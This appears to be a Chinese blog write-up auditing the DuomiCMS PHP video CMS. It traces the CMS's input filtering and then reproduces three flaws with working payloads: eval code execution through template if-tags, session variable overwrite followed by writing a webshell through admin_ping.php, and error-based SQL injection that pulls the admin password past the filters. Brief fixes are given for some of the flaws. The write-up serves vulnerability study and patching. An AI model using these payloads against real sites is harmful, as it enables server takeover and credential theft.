程序流程
很明显,首页加载了common.inc.php,这个文件的存在与否,定性了系统是否是安装过的,当然还有其他的判断条件,这仅仅是初步判断安装的状态,这个文件是安装过程生成的MySQL的配置文件,其次还加载了common.php文件,core.class.php文件,定义了网站状态、检查了Ip配置,调用了index方法,输出了首页内容。下面介绍下另外的一个文件、common.php
文件描述:文件加载了webscan.php文件、定义了系统路径、加载了common.func.php文件、执行了外部参数过滤转义,加载了数据库类【sql.class.php】,图片类【image.class.php】、计划任务类等。
注意三个重点:
这张图就是对外界参数的整体过滤!从上面函数可以看出来,键值对的键不能是cfg_和GLOBALS的字样,并且使用了addslashes的转义,但是如果cookie里有cfg_和GLOBALS的设置,就可以绕过这两个的限制,下面分析webscan.php
过滤的规则是黑客常用的函数、union、load_file、sleep、concat、group_xxx、js的事件函数防止xss的一些规则,下面分析sql.class.php文件
Sql.class.php这一小节,校验了敏感函数,这些函数一般为黑客常用的函数,所以这里做了验证
Sql.class.php这一小节,通过匹配单引号的位置,对SQL语句进行了重装,整体替换完的效果是,把单引号包裹的部分,用$s$
这样的字符串进行替换。并保存在$clean的变量中,后面在SQL注入中会有所体现。到此,我们流程算是走完了,其他加载的文件,就不做重要分析了,下面我们进行漏洞复现和修复。
代码执行
通过全局的搜索eval函数,我们找到项目中所包含该函数的文件,core.class.php。在该文件中,有两个方法包含了eval的使用,一个是上图中parseIf的方法,一个是parseSubIf方法,后面的方法是通过前面的方法调用的,所以我们这里就只分析parseIf方法,这个方法简单分析下,程序中定义了三个正则,1、{if:(.?)}(.?){end if}。2、{elseif。3、{else},通过preg_match_all函数,用第一个表达式的匹配,结果赋值给$iar的变量,这是含有三个单元的二维数组,后续通过替换,完成对模板的解析过程,分析完过程,然后通过猜想,这是对前台模板解析if标签使用的方法,项目全局搜索该方法的调用位置,就可以找到search.php的文件,其他文件也有,选这个是因为这个文件被搞了。下面来分析这个文件。
这个文件包含三处关键点:
值的注意的是,payload只能用{if:这样的字符,上一图对这个有判断。Example:{if:phpinfo()},所以到这里我们可以断定,除去固有的字符外,程序只允许我们执行15个字节的payload。然后比较好的,你不用写shell,就可以直接得到shell,这个地方有点像是变形的一句话木马。url:search.php?searchword={if:eval($_POST[x])}
修复方式:过滤括号
变量覆盖
在程序流程分析中,提到了,common.php的文件,有一段对外部变量全局过滤的处理,讲述了它的过滤处理规则,简单回顾下,做了addslashes转义,和cfg_|GLOBALS这两个特殊键名,结合cookie做了限制,现在这几行代码,就是调用的起点,对get/post/cookie做了过滤,这里的$_k是可以控制的,所以这里存在变量覆盖。这里变量覆盖,结合文件写入可以获取webshell。下面我们寻找文件写入的代码。
通过全局搜索项目,关键词可以file_put_contents()/fwrite()这样常规的文件操作函数,搜索结果,可以通过简单的扫一眼上下文,看哪个文件好搞,限制比较小,对比后,选择比较容易受控制的admin_ping.php,从过上面的代码,可以很容易判断出来,这是个薄弱点。我们访问这个文件,将action这个参数赋值set,weburl可以设置成一句话,——";eval($_POST[x]);//
。token的值随便设置了,因为后面给注释掉了。
访问URL:/admin/admin_ping.php?action=set
不出意外,会有登录的验证,我们需要分析这个验证规则,首先通过admin.ping.php文件上部有个文件引入,加载了config.php。这个文件,验证了登录状态,验证规则就是获取登录用户的id,如果不是-1就通过验证,下面来看看这个id是怎么样获得的。
跟进代码,我们可以看到这个id是session里的duomi_admin_id这个键对应的值,这样我们就可以结合前面变量覆盖,完成session的赋值,逃过登录验证。
要想对session赋值,我们需要先找一些开启 session_start 函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php 文件。这里赋的值,是根据正常登录后,获取的正确id值。为防止不必要的麻烦,这里把check.admin.php类里面的用户所有属性都赋值了。一劳永逸!
URL:/member/share.php?_SESSION[duomi_user_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1
绕过了身份验证,然后掉过头来,开心的写一句木马。需要注意的是,payload是被包裹在双引号里面的,所以要在开头,加个双引号和分号做闭合,然后写入一句话,注释掉后面的代码。这个漏洞,修补的方式验证session的赋值。if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_SESSION)',$_k) )
Sql注入
SQL注入,直接看存在的漏洞文件,这个文件参数,有id/score/uid,分析这三个参数,第一参数id、在文件的上部做了数据类型的验证,pass掉,第二个参数score,这个参数是在SQL语句的中间部分,需要结合注释符进行注入,但是前面在说流程的时候,系统过滤了注释符,所以这里也pass。最后一个uid。这个参数在SQL语句的最后,并且没有做类型判断转换,没有单引号、双引号的包裹,所以这里是最好的利用点。
我们直接访问这个方法,讲uid加上点引号做下测试。访问:
加单引号。直接报错,这样单引号被带入执行了运算。这边没有回显,在sql.class.php文件中,又过滤了常用的union,sleep,select子句,还有注释符。所以这里要出成果需要绕绕路。
知识点扩充
注释
字段表示
显错注入
通过上面的payload,这样就获得了SQL的版本号,如果要获取其他的信息,只需要改动version()这个为的SQL语句即可【理论值】。比如说,获取admin的密码,就可以写成下面的select语句。url:duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(0x7e,0x7e,(select password from duomi_admin where id=1)))
显然不对,程序给拦截了,因为这里有websan.php的正则匹配,上面说流程的时候说了这个点,上面这个是具体的细节,这个正则有点长,通过写的SQL语句,可以快速的分析,应该是倒数第二行正好匹配了,满足了要求,就给拦截了请求,这你需要细心的分析下,这一行表达了什么意思,大致意思是select+空格+任意字符+空格+from+空格+一位除换行符以外的任意字符,所以绕过这个地方的方法,就是减少一处查询字段左右两边的空格,如果两个空格都去掉,就被后面的匹配到。然后我们调整后看结果。
显然不对,程序还是给拦截了,因为这里有sql.class.php的正则匹配,上面说流程的时候说了这个点,上面这个是具体的细节,这个正则大致意思是(select,所以绕过这个地方的方法,最初想的是去除payload中的左括号,变成url:duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(0x7e,0x7e,select password from duomi_admin where id=1)),
但是还是能匹配的到,因为extractvalue这个函数还有个左括号,所以去括号的路线丢弃了,就有了后来的'
..vid这种字段的表示方式,它的诞生是为了利用上面流程中说到的这段代码,简单一回顾。有了单引号替换以后,就可以绕过这个限制了。修改为duomiphp/ajax.php?action=addfav&id=1&uid=1 and `'`.
.vid and extractvalue(1,concat_ws(0x7e,0x7e,(selectname
from duomi_admin where id =1))) and '
.“.vid
到这里就完成了SQL注入的过程。那么怎么打补丁呢。
至此就完成了整个漏洞的复现和修复。
发表评论
您还未登录,请先登录。
登录